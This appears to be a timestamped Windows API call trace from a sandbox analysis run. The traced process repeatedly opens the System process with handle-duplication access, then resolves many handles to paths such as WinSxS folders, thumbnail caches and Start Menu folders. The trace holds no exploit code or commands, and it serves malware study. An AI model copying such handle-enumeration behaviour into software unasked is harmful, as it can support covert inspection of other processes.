OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0090.984] GetFileType (hFile=0x138) returned 0x1 [0090.984] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.985] CloseHandle (hObject=0x138) returned 1 [0090.985] GetFileType (hFile=0xf0) returned 0x1 [0090.986] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.987] CloseHandle (hObject=0xf0) returned 1 [0090.987] GetFileType (hFile=0x138) returned 0x1 [0090.987] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0090.989] CloseHandle (hObject=0x138) returned 1 [0090.989] GetFileType (hFile=0xf0) returned 0x0 [0090.989] CloseHandle (hObject=0xf0) returned 1 [0090.989] GetFileType (hFile=0x138) returned 0x1 [0090.989] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.991] CloseHandle (hObject=0x138) returned 1 [0090.999] GetFileType (hFile=0xf0) returned 0x1 [0090.999] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.000] CloseHandle (hObject=0xf0) returned 1 [0091.001] GetFileType (hFile=0x138) returned 0x1 [0091.001] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0091.002] CloseHandle (hObject=0x138) returned 1 [0091.002] GetFileType (hFile=0xf0) returned 0x1 [0091.003] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0091.004] CloseHandle (hObject=0xf0) returned 1 [0091.004] GetFileType (hFile=0x138) returned 0x1 [0091.004] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.006] CloseHandle (hObject=0x138) returned 1 [0091.006] GetFileType (hFile=0xf0) returned 0x1 [0091.006] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.008] CloseHandle (hObject=0xf0) returned 1 [0091.008] GetFileType (hFile=0x138) returned 0x1 [0091.008] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.010] CloseHandle (hObject=0x138) returned 1 [0091.010] GetFileType (hFile=0xf0) returned 0x1 [0091.010] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.012] CloseHandle (hObject=0xf0) returned 1 [0091.012] GetFileType (hFile=0x138) returned 0x1 [0091.012] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.013] CloseHandle (hObject=0x138) returned 1 [0091.013] GetFileType (hFile=0xf0) returned 0x1 [0091.013] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0091.015] CloseHandle (hObject=0xf0) returned 1 [0091.015] GetFileType (hFile=0x138) returned 0x1 [0091.015] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0091.017] CloseHandle (hObject=0x138) returned 1 [0091.017] GetFileType (hFile=0xf0) returned 0x1 [0091.017] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0091.018] CloseHandle (hObject=0xf0) returned 1 [0091.019] GetFileType (hFile=0x138) returned 0x1 [0091.019] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.020] CloseHandle (hObject=0x138) returned 1 [0091.020] GetFileType (hFile=0xf0) returned 0x1 [0091.021] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.022] CloseHandle (hObject=0xf0) returned 1 [0091.022] GetFileType (hFile=0x138) returned 0x1 [0091.022] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.024] CloseHandle (hObject=0x138) returned 1 [0091.024] GetFileType (hFile=0xf0) returned 0x1 [0091.024] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.026] CloseHandle (hObject=0xf0) returned 1 [0091.026] GetFileType (hFile=0x138) returned 0x1 [0091.026] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0091.028] CloseHandle (hObject=0x138) returned 1 [0091.028] GetFileType (hFile=0xf0) returned 0x1 [0091.028] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.030] CloseHandle (hObject=0xf0) returned 1 [0091.030] GetFileType (hFile=0x138) returned 0x1 [0091.030] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0091.032] CloseHandle (hObject=0x138) returned 1 [0091.032] GetFileType (hFile=0xf0) returned 0x1 [0091.032] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0091.034] CloseHandle (hObject=0xf0) returned 1 [0091.034] GetFileType (hFile=0x138) returned 0x1 [0091.034] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0091.036] CloseHandle (hObject=0x138) returned 1 [0091.036] GetFileType (hFile=0xf0) returned 0x1 [0091.036] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0091.039] CloseHandle (hObject=0xf0) returned 1 [0091.039] GetFileType (hFile=0x138) returned 0x1 [0091.040] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0091.041] CloseHandle (hObject=0x138) returned 1 [0091.041] GetFileType (hFile=0xf0) returned 0x1 [0091.041] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0091.042] CloseHandle (hObject=0xf0) returned 1 [0091.042] GetFileType (hFile=0x138) returned 0x1 [0091.043] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0091.044] CloseHandle (hObject=0x138) returned 1 [0091.045] GetFileType (hFile=0xf0) returned 0x1 [0091.045] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0091.047] CloseHandle (hObject=0xf0) returned 1 [0091.047] GetFileType (hFile=0x138) returned 0x1 [0091.047] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0091.048] CloseHandle (hObject=0x138) returned 1 [0091.049] GetFileType (hFile=0xf0) returned 0x1 [0091.049] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0091.050] CloseHandle (hObject=0xf0) returned 1 [0091.050] GetFileType (hFile=0x138) returned 0x1 [0091.050] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0091.052] CloseHandle (hObject=0x138) returned 1 [0091.052] GetFileType (hFile=0xf0) returned 0x1 [0091.052] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0091.055] CloseHandle (hObject=0xf0) returned 1 [0091.055] GetFileType (hFile=0x138) returned 0x1 [0091.055] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0091.057] CloseHandle (hObject=0x138) returned 1 [0091.058] GetFileType (hFile=0xf0) returned 0x1 [0091.058] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0091.060] CloseHandle (hObject=0xf0) returned 1 [0091.060] GetFileType (hFile=0x138) returned 0x1 [0091.060] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.062] CloseHandle (hObject=0x138) returned 1 [0091.062] GetFileType (hFile=0xf0) returned 0x1 [0091.062] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.065] CloseHandle (hObject=0xf0) returned 1 [0091.065] GetFileType (hFile=0x138) returned 0x1 [0091.065] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.067] CloseHandle (hObject=0x138) returned 1 [0091.067] GetFileType (hFile=0xf0) returned 0x1 [0091.068] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.070] CloseHandle (hObject=0xf0) returned 1 [0091.070] GetFileType (hFile=0x138) returned 0x1 [0091.070] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.106] CloseHandle (hObject=0x138) returned 1 [0091.106] GetFileType (hFile=0xf0) returned 0x1 [0091.106] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.108] CloseHandle (hObject=0xf0) returned 1 [0091.109] GetFileType (hFile=0x138) returned 0x1 [0091.109] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.111] CloseHandle (hObject=0x138) returned 1 [0091.111] GetFileType (hFile=0xf0) returned 0x1 [0091.111] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.113] CloseHandle (hObject=0xf0) returned 1 [0091.113] GetFileType (hFile=0x138) returned 0x1 [0091.113] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.115] CloseHandle (hObject=0x138) returned 1 [0091.116] GetFileType (hFile=0xf0) returned 0x1 [0091.116] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0091.117] CloseHandle (hObject=0xf0) returned 1 [0091.117] GetFileType (hFile=0x138) returned 0x1 [0091.118] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0091.120] CloseHandle (hObject=0x138) returned 1 [0091.120] GetFileType (hFile=0xf0) returned 0x1 [0091.120] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0091.122] CloseHandle (hObject=0xf0) returned 1 [0091.122] GetFileType (hFile=0x138) returned 0x1 [0091.122] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.123] CloseHandle (hObject=0x138) returned 1 [0091.124] GetFileType (hFile=0xf0) returned 0x1 [0091.124] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.125] CloseHandle (hObject=0xf0) returned 1 [0091.125] GetFileType (hFile=0x138) returned 0x1 [0091.125] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0091.127] CloseHandle (hObject=0x138) returned 1 [0091.127] GetFileType (hFile=0xf0) returned 0x1 [0091.127] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0091.129] 